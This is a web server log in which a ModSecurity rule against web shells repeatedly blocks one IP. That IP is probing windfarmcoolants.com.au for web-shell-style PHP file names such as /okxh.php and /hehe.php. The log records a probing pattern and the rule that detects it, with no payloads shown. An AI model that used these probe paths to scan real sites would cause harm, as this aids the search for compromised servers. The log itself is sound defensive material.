[Sat Apr 11 07:59:19.021819 2026] [:error] [pid 15244:tid 15248] [client 158.158.33.175:10360] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "admO14kdEsz5NeAq8w2eQwAAAQI"]
[Sat Apr 11 07:59:19.546753 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:59167] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "admO14kdEsz5NeAq8w2eSAAAARM"]
[Sat Apr 11 07:59:20.285200 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:8278] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "admO2GJmwJFFPEgRHfGiKQAAANI"]
[Sat Apr 11 07:59:20.770447 2026] [:error] [pid 33173:tid 33248] [client 158.158.33.175:58365] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "admO2K8109xRDP2izWgjnAAAAIM"]
[Sat Apr 11 07:59:21.270891 2026] [:error] [pid 33173:tid 33247] [client 158.158.33.175:8888] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "admO2a8109xRDP2izWgjoAAAAII"]
[Sat Apr 11 07:59:21.764106 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:54890] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "admO2YkdEsz5NeAq8w2eWgAAAQ8"]
[Sat Apr 11 07:59:22.249696 2026] [:error] [pid 33173:tid 33254] [client 158.158.33.175:14081] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "admO2q8109xRDP2izWgjpwAAAIk"]
[Sat Apr 11 07:59:22.771969 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:8840] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "admO2okdEsz5NeAq8w2eXwAAARY"]
[Sat Apr 11 07:59:23.335496 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:62408] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "admO24kdEsz5NeAq8w2eYQAAARc"]
[Sat Apr 11 07:59:23.856359 2026] [:error] [pid 33171:tid 33198] [client 158.158.33.175:62362] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "admO27oqTMlo30hcVw-WOAAAAAw"]
[Sat Apr 11 07:59:24.372543 2026] [:error] [pid 33171:tid 33199] [client 158.158.33.175:58329] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "admO3LoqTMlo30hcVw-WPQAAAA0"]
[Sat Apr 11 07:59:25.013104 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:59153] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "admO3YkdEsz5NeAq8w2eaAAAARU"]
[Sat Apr 11 07:59:25.496692 2026] [:error] [pid 33172:tid 33233] [client 158.158.33.175:14035] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "admO3Tn2G0IJw5EZY9l4dQAAAE8"]
[Sat Apr 11 07:59:26.088922 2026] [:error] [pid 33171:tid 33199] [client 158.158.33.175:10313] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "admO3roqTMlo30hcVw-WSgAAAA0"]
[Sat Apr 11 07:59:26.622128 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:54894] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "admO3okdEsz5NeAq8w2ebQAAARM"]
[Sat Apr 11 07:59:27.229763 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:59180] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "admO34kdEsz5NeAq8w2ecwAAARU"]
[Sat Apr 11 07:59:27.872046 2026] [:error] [pid 33172:tid 33220] [client 158.158.33.175:14048] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "admO3zn2G0IJw5EZY9l4ggAAAEI"]
[Sat Apr 11 07:59:28.498436 2026] [:error] [pid 33288:tid 33303] [client 158.158.33.175:62337] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "admO4GJmwJFFPEgRHfGiNQAAAM0"]
[Sat Apr 11 07:59:29.110734 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:62445] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maul.php"] [unique_id "admO4YkdEsz5NeAq8w2efgAAARA"]
[Sat Apr 11 07:59:29.663857 2026] [:error] [pid 33172:tid 33226] [client 158.158.33.175:59176] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5b9ac.php"] [unique_id "admO4Tn2G0IJw5EZY9l4iAAAAEg"]
[Sat Apr 11 07:59:30.176822 2026] [:error] [pid 33172:tid 33240] [client 158.158.33.175:54853] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5b9ac.php"] [unique_id "admO4jn2G0IJw5EZY9l4iQAAAFY"]
[Sat Apr 11 07:59:30.668299 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:46768] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5b9ac.php"] [unique_id "admO4okdEsz5NeAq8w2eiQAAAQk"]
[Sat Apr 11 07:59:31.224611 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:62462] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5b9ac.php"] [unique_id "admO42JmwJFFPEgRHfGiPQAAAMU"]
[Sat Apr 11 07:59:31.877139 2026] [:error] [pid 33288:tid 33309] [client 158.158.33.175:14124] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hehe.php"] [unique_id "admO42JmwJFFPEgRHfGiQQAAANM"]
[Sat Apr 11 07:59:32.496693 2026] [:error] [pid 33288:tid 33293] [client 158.158.33.175:10315] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hehe.php"] [unique_id "admO5GJmwJFFPEgRHfGiRQAAAMM"]
[Sat Apr 11 07:59:33.004007 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:59194] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hehe.php"] [unique_id "admO5YkdEsz5NeAq8w2emgAAAQ0"]
[Sat Apr 11 07:59:33.543821 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:10333] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hehe.php"] [unique_id "admO5WJmwJFFPEgRHfGiTAAAAM4"]
[Sat Apr 11 07:59:34.032733 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:14118] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admO5mJmwJFFPEgRHfGiTQAAAMc"]
[Sat Apr 11 07:59:34.539631 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:14102] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admO5okdEsz5NeAq8w2erwAAARg"]
[Sat Apr 11 07:59:35.033189 2026] [:error] [pid 15244:tid 15246] [client 158.158.33.175:8850] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admO54kdEsz5NeAq8w2etAAAAQA"]
[Sat Apr 11 07:59:35.542768 2026] [:error] [pid 33173:tid 33251] [client 158.158.33.175:14030] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admO568109xRDP2izWgjtAAAAIY"]
[Sat Apr 11 07:59:36.071184 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:62416] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/varb.php"] [unique_id "admO6IkdEsz5NeAq8w2evwAAAQk"]
[Sat Apr 11 07:59:36.600177 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:10305] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/varb.php"] [unique_id "admO6IkdEsz5NeAq8w2exgAAARA"]
[Sat Apr 11 07:59:37.099940 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:8886] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/varb.php"] [unique_id "admO6YkdEsz5NeAq8w2eygAAARg"]
[Sat Apr 11 07:59:37.627034 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:8294] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/varb.php"] [unique_id "admO6a8109xRDP2izWgjtwAAAJE"]
[Sat Apr 11 07:59:38.208731 2026] [:error] [pid 33171:tid 33191] [client 158.158.33.175:58341] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lm15.php"] [unique_id "admO6roqTMlo30hcVw-WXAAAAAU"]
[Sat Apr 11 07:59:38.726953 2026] [:error] [pid 33171:tid 33188] [client 158.158.33.175:54855] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lm15.php"] [unique_id "admO6roqTMlo30hcVw-WXwAAAAI"]
[Sat Apr 11 07:59:39.243698 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:10398] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lm15.php"] [unique_id "admO64kdEsz5NeAq8w2e1wAAARc"]
[Sat Apr 11 07:59:39.745938 2026] [:error] [pid 33173:tid 33269] [client 158.158.33.175:54902] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lm15.php"] [unique_id "admO668109xRDP2izWgjvAAAAJg"]
[Sat Apr 11 07:59:40.327575 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:14096] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clss.php"] [unique_id "admO7IkdEsz5NeAq8w2e4QAAAQg"]
[Sat Apr 11 07:59:40.835423 2026] [:error] [pid 33171:tid 33193] [client 158.158.33.175:58313] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clss.php"] [unique_id "admO7LoqTMlo30hcVw-WYwAAAAc"]
[Sat Apr 11 07:59:41.356791 2026] [:error] [pid 33171:tid 33208] [client 158.158.33.175:10326] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clss.php"] [unique_id "admO7boqTMlo30hcVw-WaAAAABY"]
[Sat Apr 11 07:59:41.865024 2026] [:error] [pid 33171:tid 33210] [client 158.158.33.175:8318] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clss.php"] [unique_id "admO7boqTMlo30hcVw-WagAAABg"]
[Sat Apr 11 07:59:42.350602 2026] [:error] [pid 33172:tid 33221] [client 158.158.33.175:54873] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "admO7jn2G0IJw5EZY9l4mQAAAEM"]
[Sat Apr 11 07:59:42.883198 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:10349] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "admO7okdEsz5NeAq8w2e8QAAARY"]
[Sat Apr 11 07:59:43.570338 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:10390] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "admO768109xRDP2izWgj0wAAAJY"]
[Sat Apr 11 07:59:44.143373 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:62426] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "admO8GJmwJFFPEgRHfGiVgAAAMU"]
[Sat Apr 11 07:59:44.660588 2026] [:error] [pid 33172:tid 33240] [client 158.158.33.175:10411] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "admO8Dn2G0IJw5EZY9l4ngAAAFY"]
[Sat Apr 11 07:59:45.197843 2026] [:error] [pid 33288:tid 33296] [client 158.158.33.175:52293] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "admO8WJmwJFFPEgRHfGiWAAAAMY"]
[Sat Apr 11 07:59:45.717264 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:8844] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "admO8YkdEsz5NeAq8w2e-QAAARg"]
[Sat Apr 11 07:59:46.318422 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:62371] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "admO8okdEsz5NeAq8w2e-wAAARI"]
[Sat Apr 11 07:59:46.869560 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:8309] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "admO8mJmwJFFPEgRHfGiZgAAANI"]
[Sat Apr 11 07:59:47.385461 2026] [:error] [pid 33171:tid 33195] [client 158.158.33.175:10389] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "admO87oqTMlo30hcVw-WcQAAAAk"]
[Sat Apr 11 07:59:47.887662 2026] [:error] [pid 33172:tid 33233] [client 158.158.33.175:59148] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "admO8zn2G0IJw5EZY9l4qwAAAE8"]
[Sat Apr 11 07:59:48.387652 2026] [:error] [pid 33171:tid 33189] [client 158.158.33.175:8262] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "admO9LoqTMlo30hcVw-WdQAAAAM"]
[Sat Apr 11 07:59:48.893412 2026] [:error] [pid 33172:tid 33231] [client 158.158.33.175:14131] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "admO9Dn2G0IJw5EZY9l4sAAAAE0"]
